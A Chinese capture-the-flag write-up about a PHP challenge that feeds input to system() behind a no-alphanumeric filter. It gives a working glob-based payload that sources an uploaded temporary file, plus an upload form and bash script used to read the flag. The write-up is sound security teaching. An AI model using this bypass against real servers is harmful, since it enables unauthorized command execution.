访问网址显示内容如下:
分析
代码如下:
<?php error_reporting(0); if(!isset($_GET['code'])){ #code参数highlight_file(__FILE__); }else{ $code = $_GET['code']; if(preg_match("/[A-Za-z0-9_$]+/",$code)){ #绕过正则die('fighting!'); } system($code); #输出flag}
主要考查PHP代码审计和绕过规则
该题和津门杯hate_php很类似
不同的地方就是函数eval(),system()
eval类型函数是代码执行 system类型函数是命令执行 不需要闭合
绕过原理:
payload:?code=.%20/???/????????[@-[]
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
该题的PHP版本是5.6
解题步骤
1.打开本地服务器phpStudy
2.在根目录下一般是 \phpStudy\WWW 创建一个 .txt文件
写一个文件上传php代码 然后改成 .html文件
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://10.1.5.252:2333/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
上传一个 .txt文件写上
#!/bin/bash ls
3.抓返回包
然后cat,得到flag
来源:freebuf.com 2021-05-27 16:17:15 by: 无名草talent
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册